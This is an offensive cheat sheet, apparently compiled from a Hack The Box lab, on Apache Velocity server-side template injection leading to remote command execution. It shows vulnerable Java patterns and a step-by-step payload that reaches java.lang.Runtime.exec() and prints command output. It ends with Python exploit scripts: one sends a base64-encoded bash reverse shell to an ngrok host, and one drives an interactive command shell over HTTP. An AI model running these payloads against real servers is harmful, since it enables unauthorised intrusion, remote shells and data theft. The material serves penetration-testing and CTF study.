Velocity RCE
Velocity context object to Runtime RCE
Manual payload template. CONTEXT_OBJECT represents the key passed to context.put() without the $ prefix, and <COMMAND> represents the operating-system command.
Vulnerable source pattern
A fixed Velocity template keeps userInput in the context as data:
<p>$value</p>VelocityContext context = new VelocityContext();
context.put("value", userInput);
Template template = velocityEngine.getTemplate("page.vm");
StringWriter writer = new StringWriter();
template.merge(context, writer);
String output = writer.toString();Velocity substitutes the value of $value, but it does not evaluate Velocity syntax contained in that string. Velocity also does not provide automatic HTML escaping equivalent to the default Nunjucks behavior; output escaping and template evaluation remain separate concerns.
SSTI appears when attacker-controlled input becomes the source passed to evaluate():
String templateSource = userInput;
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
velocityEngine.evaluate(context, writer, "dynamic", templateSource);
String output = writer.toString();Replacing a marker in fixed source before evaluation creates the same vulnerability:
String templateSource = fixedTemplate.replace("PLACEHOLDER", userInput);
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
velocityEngine.evaluate(context, writer, "dynamic", templateSource);
String output = writer.toString();A fixed template can also explicitly re-evaluate a context value as Velocity source:
#evaluate($value)In both vulnerable forms, #set($run=1 + 1)$run is evaluated and renders as 2.
Testing
#set($run=1 + 1)$runExpected output
2Context object
A Velocity context is a key-value container comparable to a Python dictionary. The Java application places an object under a string key, and the Velocity template retrieves that object by prefixing the key with $:
context.put("CONTEXT_OBJECT", object);$CONTEXT_OBJECTExpected output
<rendered object value>The rendered value confirms that the key exists and that the template can access the associated Java object. CONTEXT_OBJECT is a replacement point for a key found in the application’s context.put() calls.
Object class
Every Java object has a runtime type. .class resolves the Class object that describes the type of the object stored in the Velocity context. A Class object contains Java metadata describing the class of the application instance.
$CONTEXT_OBJECT.classExpected output
class <fully qualified Java class>Runtime class lookup
forName() is a method of java.lang.Class. It accepts a fully qualified class name such as java.lang.Runtime, asks Java’s class-loading system to locate that class, and returns the Class object representing it. It does not search source files or create a Runtime instance.
$CONTEXT_OBJECT.class.forName("java.lang.Runtime")Expected output
class java.lang.RuntimeThis result confirms two separate facts: the template can call methods on the exposed Class object, and the application can load java.lang.Runtime by name.
In-band command execution and output
#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("<COMMAND>"))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#endExpected output
<command output>The payload performs the following operations in order:
forName("java.lang.Runtime") -> obtain the Runtime Class object
getRuntime() -> obtain the Runtime object for the running JVM
exec("<COMMAND>") -> start the command and return a Process object
waitFor() -> wait for the process to exit and return its integer exit status
getInputStream() -> obtain the byte stream containing command stdoutThe returned Process is stored in $ex, its integer exit status is stored in $exit, and its stdout stream is stored in $out. $str and $chr store the Class objects for Java’s String and Character types. Each $out.read() call returns one stdout byte as a number; Character.toChars() converts that number into a character, and String.valueOf() converts the character into text that Velocity writes into the rendered response.
Automation
Blind execution / reverse shell
Runtime.exec(String) splits the command string into program arguments without interactive shell parsing. Shell quotes and redirections inside a normal bash -c '...' string therefore remain ordinary characters. The reverse-shell command is base64 encoded, then decoded and passed to Bash through a whitespace-free command that survives this tokenization.
import base64
def send_ssti(s, ngrok_tcp_url, ngrok_tcp_port):
rev_shell_cmd = f"bash -i >& /dev/tcp/{ngrok_tcp_url}/{ngrok_tcp_port} 0>&1"
rev_shell_base64 = base64.b64encode(rev_shell_cmd.encode()).decode()
runtime_cmd = f"bash -c {{echo,{rev_shell_base64}}}|{{base64,-d}}|{{bash,-i}}"
payload = f'$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec("{runtime_cmd}")'
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")In-band execution
This format runs the command, reads stdout from the returned Java Process, and renders the output into the HTTP response. repr(command) inserts the command as a quoted string in the Velocity payload. Commands that depend on shell operators still require a shell wrapper.
from bs4 import BeautifulSoup
def send_ssti(s, command):
payload = f'#set($ex=$CONTEXT_OBJECT.class.forName("java.lang.Runtime").getRuntime().exec({repr(command)}))#set($exit=$ex.waitFor())#set($out=$ex.getInputStream())#set($str=$CONTEXT_OBJECT.class.forName("java.lang.String"))#set($chr=$CONTEXT_OBJECT.class.forName("java.lang.Character"))#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end'
data = {
"<PAYLOAD_FIELD>": payload
}
try:
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not send request.")
sys.exit(1)
print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")
response_text = r.text
return response_text
def read_ssti_output(response_text):
soup = BeautifulSoup(response_text, "html.parser")
output_element = soup.find("<OUTPUT_TAG>", {"class": "<OUTPUT_CLASS>"})
output = output_element.get_text()
output = output.strip()
return outputif __name__ == "__main__":
s = requests.Session()
print(f"[+] {Fore.LIGHTGREEN_EX}Insert command to run below")
try:
while True:
command = input("> ").strip()
response_text = send_ssti(s, command)
print(read_ssti_output(response_text))
except KeyboardInterrupt:
print(f"[-] {Fore.RED}Execution stopped.")Find by: ssti, velocity, apache velocity, java, template source, template data, velocity engine evaluate, evaluate directive, context value, xss vs ssti, template injection, velocitycontext, context put, class, forName, java.lang.Runtime, getRuntime, exec, process, inputstream, command output, in band, blind execution, reverse shell, base64, bash, ngrok, beautifulsoup · Source: HTB/LabyrinthLinguis + Apache Velocity documentation + Apache Velocity VELOCITY-877 + Testing Velocity SSTI